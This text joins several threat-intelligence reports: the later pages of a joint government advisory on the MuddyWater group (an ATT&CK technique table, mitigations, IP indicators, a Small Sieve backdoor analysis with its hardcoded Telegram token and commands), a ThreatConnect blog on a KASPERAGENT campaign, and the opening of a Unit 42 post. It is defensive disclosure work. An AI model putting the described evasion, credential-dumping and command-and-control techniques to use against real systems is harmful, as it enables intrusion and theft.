https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/versions/v10/techniques/T1059/001/ https://attack.mitre.org/groups/G0069 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/versions/v10/techniques/T1059/003 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/versions/v10/techniques/T1059/005 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/software/S0223 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059 https://attack.mitre.org/techniques/T1059/006 https://attack.mitre.org/versions/v10/techniques/T1059/006 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/software/S0594 https://attack.mitre.org/versions/v10/techniques/T1059/007 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/software/S0223 https://attack.mitre.org/versions/v10/techniques/T1203 https://attack.mitre.org/versions/v10/techniques/T1204/001 https://attack.mitre.org/versions/v10/techniques/T1204/002 https://attack.mitre.org/versions/v10/techniques/T1559/001 https://attack.mitre.org/versions/v10/techniques/T1559/002 https://attack.mitre.org/versions/v10/techniques/T1053/005 https://attack.mitre.org/versions/v10/techniques/T1137/001 https://attack.mitre.org/techniques/T1547 https://attack.mitre.org/techniques/T1547 https://attack.mitre.org/versions/v10/techniques/T1547 FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 8 of 19 Product ID: AA22-055A TLP: WHITE Privilege Escalation Abuse Elevation Control Mechanism: Bypass User Account Control T1548.002 MuddyWater uses various techniques to bypass user account control.
Credentials from Password Stores T1555 MuddyWater has performed credential dumping with LaZagne and other tools, including by dumping passwords saved in victim email.
Credentials from Web Browsers T1555.003 MuddyWater has run tools including Browser64 to steal passwords saved in victim web browsers.
Defense Evasion Obfuscated Files or Information T1027 MuddyWater has used Daniel Bohannons Invoke- Obfuscation framework and obfuscated PowerShell scripts.
The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.
Steganography T1027.003 MuddyWater has stored obfuscated JavaScript code in an image file named temp.jpg.
Compile After Delivery T1027.004 MuddyWater has used the .NET csc.exe tool to compile executables from downloaded C code.
Masquerading: Match Legitimate Name or Location T1036.005 MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.
E.g., Small Sieve uses variations of Microsoft (Microsift) and Outlook in its filenames to attempt to avoid detection during casual inspection.
Deobfuscate/Decode Files or Information T1140 MuddyWater decoded Base64-encoded PowerShell commands using a VBS file.
Signed Binary Proxy Execution: CMSTP T1218.003 MuddyWater has used CMSTP.exe and a malicious .INF file to execute its POWERSTATS payload.
Signed Binary Proxy Execution: Mshta T1218.005 MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one- liner for execution.
Signed Binary Proxy Execution: Rundll32 T1218.011 MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.
https://attack.mitre.org/versions/v10/techniques/T1548/002/ https://attack.mitre.org/groups/G0069 https://attack.mitre.org/versions/v10/techniques/T1555 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/software/S0349 https://attack.mitre.org/versions/v10/techniques/T1055/003 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/versions/v10/techniques/T1027 https://attack.mitre.org/versions/v10/techniques/T1027/003 https://attack.mitre.org/versions/v10/techniques/T1027/004 https://attack.mitre.org/versions/v10/techniques/T1036/005 https://attack.mitre.org/versions/v10/techniques/T1140 https://attack.mitre.org/versions/v10/techniques/T1218/003 https://attack.mitre.org/versions/v10/techniques/T1218/005 https://attack.mitre.org/versions/v10/techniques/T1218/011 FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 9 of 19 Product ID: AA22-055A TLP: WHITE Execution Guardrails T1480 The Small Sieve payload used by MuddyWater will only execute correctly if the word Platypus is passed to it on the command line.
Impair Defenses: Disable or Modify Tools T1562.001 MuddyWater can disable the systems local proxy settings.
Credential Access OS Credential Dumping: LSASS Memory T1003.001 MuddyWater has performed credential dumping with Mimikatz and procdump64.exe.
OS Credential Dumping: LSA Secrets T1003.004 MuddyWater has performed credential dumping with LaZagne.
OS Credential Dumping: Cached Domain Credentials T1003.005 MuddyWater has performed credential dumping with LaZagne.
Unsecured Credentials: Credentials In Files T1552.001 MuddyWater has run a tool that steals passwords saved in victim email.
Discovery System Network Configuration Discovery T1016 MuddyWater has used malware to collect the victims IP address and domain name.
System Owner/User Discovery T1033 MuddyWater has used malware that can collect the victims username.
System Network Connections Discovery T1049 MuddyWater has used a PowerShell backdoor to check for Skype connections on the target machine.
Process Discovery T1057 MuddyWater has used malware to obtain a list of running processes on the system.
System Information Discovery T1082 MuddyWater has used malware that can collect the victims OS version and machine name.
File and Directory Discovery T1083 MuddyWater has used malware that checked if the ProgramData folder had folders or files with the keywords Kasper, Panda, or ESET.
Account Discovery: Domain Account T1087.002 MuddyWater has used cmd.exe net user/domain to enumerate domain users.
https://attack.mitre.org/versions/v10/techniques/T1480/ https://attack.mitre.org/versions/v10/techniques/T1562/001 https://attack.mitre.org/versions/v10/techniques/T1003/001 https://attack.mitre.org/versions/v10/techniques/T1003/004 https://attack.mitre.org/versions/v10/techniques/T1003/005 https://attack.mitre.org/versions/v10/techniques/T1552/001 https://attack.mitre.org/versions/v10/techniques/T1016 https://attack.mitre.org/versions/v10/techniques/T1033 https://attack.mitre.org/versions/v10/techniques/T1049 https://attack.mitre.org/versions/v10/techniques/T1057 https://attack.mitre.org/versions/v10/techniques/T1082 https://attack.mitre.org/versions/v10/techniques/T1083 https://attack.mitre.org/versions/v10/techniques/T1087/002/ https://attack.mitre.org/groups/G0069 FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 10 of 19 Product ID: AA22-055A TLP: WHITE Software Discovery T1518 MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine.
Security Software Discovery T1518.001 MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers.
Collection Screen Capture T1113 MuddyWater has used malware that can capture screenshots of the victims machine.
Archive Collected Data: Archive via Utility T1560.001 MuddyWater has used the native Windows cabinet creation tool, makecab.exe, likely to compress stolen data to be uploaded.
Command and Control Application Layer Protocol: Web Protocols T1071.001 MuddyWater has used HTTP for C2 communications.
e.g., Small Sieve beacons and tasking are performed using the Telegram API over HTTPS.
Proxy: External Proxy T1090.002 MuddyWater has controlled POWERSTATS from behind a proxy network to obfuscate the C2 location.
MuddyWater has used a series of compromised websites that victims connected to randomly to relay information to C2.
Web Service: Bidirectional Communication T1102.002 MuddyWater has used web services including OneHub to distribute remote access tools.
Multi-Stage Channels T1104 MuddyWater has used one C2 to obtain enumeration scripts and monitor web logs, but a different C2 to send data back.
Ingress Tool Transfer T1105 MuddyWater has used malware that can upload additional files to the victims machine.
Data Encoding: Standard Encoding T1132.001 MuddyWater has used tools to encode C2 communications including Base64 encoding.
Data Encoding: Non-Standard Encoding T1132.002 MuddyWater uses tools such as Small Sieve, which employs a custom hex byte swapping encoding scheme to obfuscate tasking traffic.
https://attack.mitre.org/versions/v10/techniques/T1518 https://attack.mitre.org/versions/v10/techniques/T1518/001 https://attack.mitre.org/versions/v10/techniques/T1113 https://attack.mitre.org/techniques/T1560 https://attack.mitre.org/techniques/T1560 https://attack.mitre.org/versions/v10/techniques/T1560 https://attack.mitre.org/groups/G0069 https://attack.mitre.org/techniques/T1071 https://attack.mitre.org/techniques/T1071 https://attack.mitre.org/versions/v10/techniques/T1071/ https://attack.mitre.org/groups/G0069 https://attack.mitre.org/versions/v10/techniques/T1090/002 https://attack.mitre.org/versions/v10/techniques/T1102/002 https://attack.mitre.org/versions/v10/techniques/T1104 https://attack.mitre.org/versions/v10/techniques/T1105 https://attack.mitre.org/versions/v10/techniques/T1132/001/ https://attack.mitre.org/versions/v10/techniques/T1132/002/ FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 11 of 19 Product ID: AA22-055A TLP: WHITE Remote Access Software T1219 MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally.
Exfiltration Exfiltration Over C2 Channel T1041 MuddyWater has used C2 infrastructure to receive exfiltrated data.
MITIGATIONS Protective Controls and Architecture Deploy application control software to limit the applications and executable code that can be run by users.
Email attachments and files downloaded via links in emails often contain executable code.
Identity and Access Management Use multifactor authentication where possible, particularly for webmail, virtual private networks, and accounts that access critical systems.
Limit the use of administrator privileges.
Users who browse the internet, use email, and execute code with administrator privileges make for excellent spearphishing targets because their systemonce infectedenables attackers to move laterally across the network, gain additional accesses, and access highly sensitive information.
Phishing Protection Enable antivirus and anti-malware software and update signature definitions in a timely manner.
Well-maintained antivirus software may prevent use of commonly deployed attacker tools that are delivered via spearphishing.
Be suspicious of unsolicited contact via email or social media from any individual you do not know personally.
Do not click on hyperlinks or open attachments in these communications.
Consider adding an email banner to emails received from outside your organization and disabling hyperlinks in received emails.
Train users through awareness and simulations to recognize and report phishing and social engineering attempts.
Identify and suspend access of user accounts exhibiting unusual activity.
Adopt threat reputation services at the network device, operating system, application, and email service levels.
Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spearphishing attacks.
Vulnerability and Configuration Management https://attack.mitre.org/versions/v10/techniques/T1219 https://attack.mitre.org/versions/v10/techniques/T1041 FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 12 of 19 Product ID: AA22-055A TLP: WHITE Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.
Prioritize patching known exploited vulnerabilities.
ADDITIONAL RESOURCES For more information on Iranian government-sponsored malicious cyber activity, see CISAs webpage Iran Cyber Threat Overview and Advisories and CNMFs press release Iranian intel cyber suite of malware uses open source tools.
For information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, whole-of-government webpage providing ransomware resources and alerts.
The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware.
By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.
The U.S. Department of States Rewards for Justice (RFJ) program offers a reward of up to 10 million for reports of foreign government malicious activity against U.S. critical infrastructure.
See the RFJ website for more information and how to report information securely.
REFERENCES [1] CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools [2] MITRE ATTCK: MuddyWater CAVEATS The information you have accessed or received is being provided as is for informational purposes only.
The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including any subjects of analysis.
Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the FBI, CISA, CNMF, or NSA.
PURPOSE This document was developed by the FBI, CISA, CNMF, NCSC-UK, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.
This information may be shared broadly to reach all appropriate stakeholders.
The United States NSA agrees with this attribution and the details provided in this report.
https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.us-cert.cisa.gov/iran https://www.us-cert.cisa.gov/iran https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://www.cisa.gov/stopransomware/ https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf https://us-cert.cisa.gov/sites/default/files/publications/AA20-245A-Joint_CSA-Technical_Approaches_to_Uncovering_Malicious_Activity_508.pdf https://www.cisa.gov/cyber-hygiene-services https://rewardsforjustice.net/rewards/foreign-malicious-cyber-activity-against-u-s-critical-infrastructure/ https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/ https://attack.mitre.org/versions/v10/groups/G0069/ FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 13 of 19 Product ID: AA22-055A TLP: WHITE FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 14 of 19 Product ID: AA22-055A TLP: WHITE APPENDIX A: IOCS The following IP addresses are associated with MuddyWater activity: 5.199.133[.
]149 45.142.213[.
]17 45.142.212[.
]61 45.153.231[.
]104 46.166.129[.
]159 80.85.158[.
]49 87.236.212[.
]22 88.119.170[.
]124 88.119.171[.
]213 89.163.252[.
]232 95.181.161[.
]49 95.181.161[.
]50 164.132.237[.
]65 185.25.51[.
]108 185.45.192[.
]228 185.117.75[.
]34 185.118.164[.
]21 185.141.27[.
]143 185.141.27[.
]248 185.183.96[.
]7 185.183.96[.
]44 192.210.191[.
]188 192.210.226[.
]128 FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 15 of 19 Product ID: AA22-055A TLP: WHITE APPENDIX B: SMALL SIEVE Note: the information contained in this appendix is from NCSC-UK analysis of a Small Sieve sample.
Metadata Table 2: Gram_app.exe Metadata Filename gram_app.exe Description NSIS installer that installs and runs the index.exe backdoor and adds a persistence registry key Size 16999598 bytes MD5 15fa3b32539d7453a9a85958b77d4c95 SHA-1 11d594f3b3cf8525682f6214acb7b7782056d282 SHA-256 b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 Compile Time 2021-09-25 21:57:46 UTC Table 3: Index.exe Metadata Filename index.exe Description The final PyInstaller-bundled Python 3.9 backdoor Size 17263089 bytes MD5 5763530f25ed0ec08fb26a30c04009f1 SHA-1 2a6ddf89a8366a262b56a251b00aafaed5321992 SHA-256 bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37 d3a2 Compile Time 2021-08-01 04:39:46 UTC Functionality Installation Small Sieve is distributed as a large (16MB) NSIS installer named gram_app.exe, which does not appear to masquerade as a legitimate application.
Once executed, the backdoor binary index.exe is installed in the users AppData/Roaming directory and is added as a Run key in the registry to enabled persistence after reboot.
The installer then executes the backdoor with the Platypus argument [T1480], which is also present in the registry persistence key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift.
https://attack.mitre.org/versions/v10/techniques/T1480/ FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 16 of 19 Product ID: AA22-055A TLP: WHITE Configuration The backdoor attempts to restore previously initialized session data from LocalAppData\MicrosoftWindowsOutlookDataPlus.txt.
If this file does not exist, then it uses the hardcoded values listed in table 4: Table 4: Credentials and Session Values Field Value Description Chat ID 2090761833 This is the Telegram Channel ID that beacons are sent to, and, from which, tasking requests are received.
Tasking requests are dropped if they do not come from this channel.
This value cannot be changed.
Bot ID Random value between 10,000,000 and 90,000,000 This is a bot identifier generated at startup that is sent to the C2 in the initial beacon.
Commands must be prefixed with /com[Bot ID] in order to be processed by the malware.
Telegram Token 2003026094: AAGoitvpcx3SFZ2_6YzIs4 La_kyDF1PbXrY This is the initial token used to authenticate each message to the Telegram Bot API.
Tasking Small Sieve beacons via the Telegram Bot API, sending the configured Bot ID, the currently logged-in user, and the hosts IP address, as described in the Communications (Beacon format) section below.
It then waits for tasking as a Telegram bot using the python-telegram-bot module.
Two task formats are supported: /start no argument is passed this causes the beacon information to be repeated.
/com[BotID] [command] for issuing commands passed in the argument.
The following commands are supported by the second of these formats, as described in table 5: Com Table 5: Supported Commands Command Description delete This command causes the backdoor to exit it does not remove persistence.
download urlfilename The URL will be fetched and saved to the provided filename using the Python urllib module urlretrieve function.
FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 17 of 19 Product ID: AA22-055A TLP: WHITE change tokennewtoken The backdoor will reconnect to the Telegram Bot API using the provided token newtoken.
This updated token will be stored in the encoded MicrosoftWindowsOutlookDataPlus.txt file.
disconnect The original connection to Telegram is terminated.
It is likely used after a change token command is issued.
Any commands other than those detailed in table 5 are executed directly by passing them to cmd.exe /c, and the output is returned as a reply.
Defense Evasion Anti-Sandbox Figure 1: Execution Guardrail Threat actors may be attempting to thwart simple analysis by not passing Platypus on the command line.
String obfuscation Internal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64- encoded.
A decryption script is included in Appendix B.
Communications Beacon Format Before listening for tasking using CommandHandler objects from the python-telegram-bot module, a beacon is generated manually using the standard requests library: FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 18 of 19 Product ID: AA22-055A TLP: WHITE Figure 2: Manually Generated Beacon The hex host data is encoded using the byte shuffling algorithm as described in the Communications (Traffic obfuscation) section of this report.
The example in figure 2 decodes to: admin/WINDOMAIN1 10.17.32.18 Traffic obfuscation Although traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and response using a hex byte shuffling algorithm.
A Python3 implementation is shown in figure 3.
Figure 3: Traffic Encoding Scheme Based on Hex Conversion and Shuffling Detection Table 6 outlines indicators of compromise.
Table 6: Indicators of Compromise Type Description Values Path Telegram Session Persistence File (Obfuscated) LocalAppData\MicrosoftWindowsOut lookDataPlus.txt Path Installation path of the Small Sieve binary AppData\OutlookMicrosift\index.e xe FBI CISA CNMF NCSC-UK NSA TLP:WHITE Page 19 of 19 Product ID: AA22-055A TLP: WHITE Registry value name Persistence Registry Key pointing to index.exe with a Platypus argument HKCU\Software\Microsoft\Windows\Cu rrentVersion\Run\OutlookMicrosift String Recover Script Figure 4: String Recovery Script Summary Technical Details PowGoop Small Sieve Canopy MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments [T1566.001].
According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by...
In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files.
When the victim opens the Excel file, they receive a prompt to enable ma... Mori POWERSTATS Survey Script Newly Identified PowerShell Backdoor MITRE ATTCK Techniques Mitigations Protective Controls and Architecture Identity and Access Management Phishing Protection Vulnerability and Configuration Management Additional Resources References CAVEATS Purpose Appendix A: IOCs Appendix B: Small Sieve Metadata Functionality Installation Configuration Tasking Defense Evasion Anti-Sandbox String obfuscation Communications Beacon Format Traffic obfuscation Detection String Recover Script
6/14/2017 KASPERAGENT Malware Campaign resurfaces in May Election threatconnect.com /blog/kasperagent-malware-campaign/ KASPERAGENT Malware Campaign resurfaces in the run up to May Palestinian Authority Elections ThreatConnect has identified a KASPERAGENT malware campaign leveraging decoy Palestinian Authority documents.
The samples date from April - May 2017, coinciding with the run up to the May 2017 Palestinian Authority elections.
Although we do not know who is behind the campaign, the decoy documents content focuses on timely political issues in Gaza and the IP address hosting the campaigns command and control node hosts several other domains with Gaza registrants.
In this blog post we will detail our analysis of the malware and associated indicators, look closely at the decoy files, and leverage available information to make an educated guess on the possible intended target.
Associated indicators and screenshots of the decoy documents are all available here in the ThreatConnect platform.
Some of the indicators in the following post were published on AlienVault OTX on 6/13.
Background on KASPERAGENT KASPERAGENT is Microsoft Windows malware used in efforts targeting users in the United States, Israel, Palestinian Territories, and Egypt since July 2015.
The malware was discovered by Palo Alto Networks Unit 42 and ClearSky Cyber Security, and publicized in April 2017 in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog.
It is called KASPERAGENT based on PDB strings identified in the malware such as c:\Users\USA\Documents\Visual Studio 2008\Projects\New folder (2)\kasper\Release\kasper.pdb.
The threat actors used shortened URLs in spear phishing messages and fake news websites to direct targets to download KASPERAGENT.
Upon execution, KASPERAGENT drops the payload and a decoy document that displays Arabic names and ID numbers.
The malware establishes persistence and sends HTTP requests to the command and control domain mailsinfo[.
]net.
Of note, the callbacks were to PHP scripts that included /dad5/ in the URLs.
Most samples of the malware reportedly function as a basic reconnaissance tool and downloader.
However, some of the recently identified files display extended-capability including the functionality to steal passwords, take screenshots, log keystrokes, and steal files.
These extended-capability samples called out to an additional command and control domain, stikerscloud[.
]com.
Additionally, early variants of KASPERAGENT used Chrome as the user agent, while more recent samples use OPAERA - a possible misspelling of the Opera - browser.
The indicators associated with the blog article are available in the ThreatConnect Technical Blogs and Reports source here.
The samples we identified leverage the same user agent string OPAERA, included the kasper PDB string reported by Unit 42, and used similar POST and GET requests.
The command and control domains were different, and these samples used unique decoy documents to target their victims.
Identifying another KASPERAGENT campaign We didnt start out looking for KASPERAGENT, but a file hit on one of our YARA rules for an executable designed to display a fake XLS icon - one way adversaries attempt to trick targets into thinking a malicious file is innocuous.
The 1/7 https://www.threatconnect.com/blog/kasperagent-malware-campaign/ https://app.threatconnect.com/auth/campaign/campaign.xhtml?campaign4219181 https://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/ https://app.threatconnect.com/auth/incident/incident.xhtml?incident4003314 https://app.threatconnect.com/auth/indicators/details/customIndicator.xhtml?id29927402ownerCommonCommunity first malicious sample we identified (6843AE9EAC03F69DF301D024BFDEFC88) had the file name testproj.exe and was identified within an archive file (4FE7561F63A71CA73C26CB95B28EAEE8) with the name .r24.
This translates to The Complete Details of Fuqahas Assassination, a reference to Hamas military leader Mazen Fuqaha who was assassinated on March 24, 2017.
We detonated the file in VxStreams automated malware analysis capability and found testproj.exe dropped a benign Microsoft Word document that pulls a jpg file from treestower[.
]com.
Malwr.com observed this site in association with another sample that called out to mailsinfo[.
]net - a host identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog.
That was our first hint that we were looking at KASPERAGENT.
The jpg pulled from treestower[.
]com displays a graphic picture of a dead man, which also appeared on a Palestinian news website discussing the death of Hamas military leader Mazen Fuqaha.
A separate malicious executable - 2DE25306A58D8A5B6CBE8D5E2FC5F3C5 (vlc.exe) - runs when the photograph is displayed, using the YouTube icon and calling out to several URLs on windowsnewupdates[.
]com.
This host was registered in late March and appears to be unique to this campaign.
With our interest piqued, we pivoted on the import hashes (also known as an imphash), which captures the import table of a given file.
Shared import hashes across multiple files would likely identify files that are part of the same malware family.
We found nine additional samples sharing the imphash values for the two executables, C66F88D2D76D79210D568D7AD7896B45 and DCF3AA484253068D8833C7C5B019B07.
Import Hash Results c66f88d2d76d79210d568d7ad7896b45 2/7 https://app.threatconnect.com/auth/indicators/details/file.xhtml?file6843AE9EAC03F69DF301D024BFDEFC88 https://app.threatconnect.com/auth/indicators/details/file.xhtml?file4FE7561F63A71CA73C26CB95B28EAEE8 https://www.nytimes.com/2017/03/27/world/middleeast/mazen-fuqaha-hamas-killing-israel.html https://www.hybrid-analysis.com/sample/16df435ea8214cb0a62ab40720d8d0f5b65ba9268c84fc9e1180d2468a966f72 https://app.threatconnect.com/auth/indicators/details/host.xhtml?hostwww.treestower.comownerCommonCommunity http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/ https://www.hybrid-analysis.com/sample/5d329690a606857871f007b990b78f876c57a571b38cafd54f3d98c9b3b42453?environmentId100 https://app.threatconnect.com/auth/indicators/details/host.xhtml?hostwindowsnewupdates.comownerCommonCommunity https://app.threatconnect.com/auth/browse/index.xhtml?filterstypeName in (22Address222C 22EmailAddress222C 22File222C 22Host222C 22URL222C 22ASN222C 22CIDR222C 22Mutex222C 22Registry Key222C 22User Agent22) and attribute1785 3D c66f88d2d76d79210d568d7ad7896b45 https://app.threatconnect.com/auth/browse/index.xhtml?filterstypeName in (22Address222C 22EmailAddress222C 22File222C 22Host222C 22URL222C 22ASN222C 22CIDR222C 22Mutex222C 22Registry Key222C 22User Agent22) and attribute1785 3D dcf3aa484253068d8833c7c5b019b07a Import Hash Results dcf3aa484253068d8833c7c5b019b07a Analysis of those files uncovered two more imphashes, 0B4E44256788783634A2B1DADF4F9784 and E44F0BD2ADFB9CBCABCAD314D27ACCFC, for a total of 20 malicious files.
These additional samples behaved similarly to the initial files testproj.exe dropped benign decoy files and started malicious executables.
The malicious executables all called out to the same URLs on windowsnewupdates[.
]com.
These malware samples leverage the user agent string OPAERA, the same one identified in the Targeted Attacks in the Middle East Using KASPERAGENT and MICROPSIA blog.
Although the command and control domain was different from those in the report, the POST and GET requests were similar and included /dad5/ in the URL string.
In addition, the malware samples included the kasper PDB string reported by Unit 42, prompting us to conclude that we were likely looking at new variants of KASPERAGENT.
The Decoy Files Several of the decoy files appeared to be official documents associated with the Palestinian Authority - the body that governs the Palestinian Territories in the Middle East.
We do not know whether the files are legitimate Palestinian Authority documents, but they are designed to look official.
Additionally, most of the decoy files are publicly available on news websites or social media.
The first document - dated April 10, 2017 - is marked Very Secret and addressed to Yahya Al-Sinwar, who Hamas elected as its leader in Gaza in February 2017.
Like the photo displayed in the first decoy file we found, this document references the death of Mazen Fuqaha.
The Arabic-language text and English translation of the document are available in ThreatConnect here.
A screenshot of the file is depicted below.
3/7 https://app.threatconnect.com/auth/browse/index.xhtml?filterstypeName in (22Address222C 22EmailAddress222C 22File222C 22Host222C 22URL222C 22ASN222C 22CIDR222C 22Mutex222C 22Registry Key222C 22User Agent22) and attribute1785 3D 0b4e44256788783634a2b1dadf4f9784 https://app.threatconnect.com/auth/browse/index.xhtml?filterstypeName in (22Address222C 22EmailAddress222C 22File222C 22Host222C 22URL222C 22ASN222C 22CIDR222C 22Mutex222C 22Registry Key222C 22User Agent22) and attribute1785 3D e44f0bd2adfb9cbcabcad314d27accfc http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/ https://app.threatconnect.com/auth/document/document.xhtml?document4219292 The second legible file, dated April 23, has the same letterhead and also is addressed to Yahya al-Sinwar.
This file discusses the supposed announcement banning the rival Fatah political party, which controls the West Bank, from Gaza.
It mentions closing the Fatah headquarters and houses that were identified as meeting places as well as the arrest of some members of the party.
4/7 https://en.wikipedia.org/wiki/Fatah Looking at the Infrastructure We dont know for sure who is responsible for this campaign, but digging into the passive DNS results led us to some breadcrumbs.
Starting with 195.154.110[.
]237, the IP address which is hosting the command and control domain windowsnewupdates[.
]com, we found that the host is on a dedicated server.
5/7 https://app.threatconnect.com/auth/indicators/details/address.xhtml?address195.154.110.237ownerCommonCommunity ThreatConnect DomainTools Integration Results Using our Farsight DNSDB integration, we identified other domains currently and previously hosted on the same IP.
Reverse DNS and Passive DNS results for 195.154.110[.
]237 6/7 Two of the four domains that have been hosted at this IP since 2016 -- upfile2box[.
]com and 7aga[.
]net -- were registered by a freelance web developer in Gaza, Palestine.
This IP has been used to host a small number of domains, some of which were registered by the same actor, suggesting the IP is dedicated for a single individual or groups use.
While not conclusive, it is intriguing that the same IP was observed hosting a domain ostensibly registered in Gaza AND the command and control domain associated with a series of targeted attacks leveraging Palestinian Authority-themed decoy documents referencing Gaza.
Targeting Focus?
Just like we cant make a definitive determination as to who conducted this campaign, we do not know for sure who it was intended to target.
What we do know is that several of the malicious files were submitted to a public malware analysis site from the Palestinian Territories.
This tells us that it is possible either the threat actors or at least one of the targets is located in that area.
Additionally, as previously mentioned, the decoy document subject matter would likely be of interest to a few different potential targets in the Palestinian Territories.
Potential targets such as Hamas who controls the Gaza strip and counts Mazen Fuqaha and Yahya al-Sinwar as members, Israel which is accused of involvement in the assassination of Mazen Fuqaha, and the Fatah party of which the Prime Minister and President of the Palestinian Authority are members.
The campaign corresponds with a period of heightened tension in Gaza.
Hamas, who has historically maintained control over the strip, elected Yahya al-Sinwar - a hardliner from its military wing - as its leader in February.
A Humanitarian Bulletin published by the United Nations Office for the Coordination of Humanitarian Affairs indicates in March 2017 (just before the first malware samples associated with this campaign were identified in early April) Hamas created a parallel institution to run local ministries in Gaza, further straining the relationship between Hamas and the Palestinian Authority who governs the West Bank.
After this announcement, the Palestinian Authority cut salaries for its employees in Gaza by 30 percent and informed Israel that it would no longer pay for electricity provided to Gaza causing blackouts throughout the area and escalating tensions between the rival groups.
Then, in early May (two days after the last malware sample was submitted) the Palestinian Authority held local elections in the West Bank which were reportedly seen as a test for the Fatah party.
Elections were not held in Gaza.
All of that is to say, the decoy documents leveraged in this campaign would likely be relevant and of interest to a variety of targets in Israel and Palestine, consistent with previously identified KASPERAGENT targeting patterns.
Additionally, the use of what appear to be carefully crafted documents at the very least designed to look like official government correspondence suggests the malware may have been intended for a government employee or contractor who would be interested in the documents subject matter.
More associated indicators, screenshots of many of the decoy documents, and descriptions of the activity are available via the March - May 2017 Kasperagent Malware Leveraging WindowsNewUpdates[.
|
165
|
]com Campaign in ThreatConnect.
| 35,552
| 35,632
| 81
|
data/reports_final/0165.txt
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]com Campaign in ThreatConnect.
7/7 https://www.nytimes.com/2017/03/27/world/middleeast/mazen-fuqaha-hamas-killing-israel.html https://unispal.un.org/DPA/DPR/unispal.nsf/0/AC8C02B3FA96AA208525811C00554B0D https://www.nytimes.com/2017/04/27/world/middleeast/palestinian-authority-hamas-gaza-electricity.html http://abcnews.go.com/International/wireStory/palestinian-west-bank-local-elections-test-fatah-party-47389952 https://app.threatconnect.com/auth/campaign/campaign.xhtml?campaign4219181 KASPERAGENT Malware Campaign resurfaces in May Election KASPERAGENT Malware Campaign resurfaces in the run up to May Palestinian Authority Elections Background on KASPERAGENT Identifying another KASPERAGENT campaign The Decoy Files Looking at the Infrastructure Targeting Focus?
Tracking MiniDionis: CozyCars New Ride Is Related to Seaduke Executive Summary Unit 42 has uncovered a new campaign from the CozyDuke threat actors, aka CozyCar [1], leveraging malware that appears to be related to the Seaduke malware described earlier this week by Symantec.
[
2] This campaign, which began on July 7, 2015, appears to be targeted at government organizations and think-tanks located in democratic countries [3], and utilizes compromised, legitimate websites for spear phishing and command and control activity.
Unit 42 discovered the extent of this attack using the Palo Alto Networks AutoFocus service, which allows analysts to quickly find correlations among malware samples analyzed by WildFire.
All files referenced throughout the analysis are contained in the IOC table at the end of this blog.
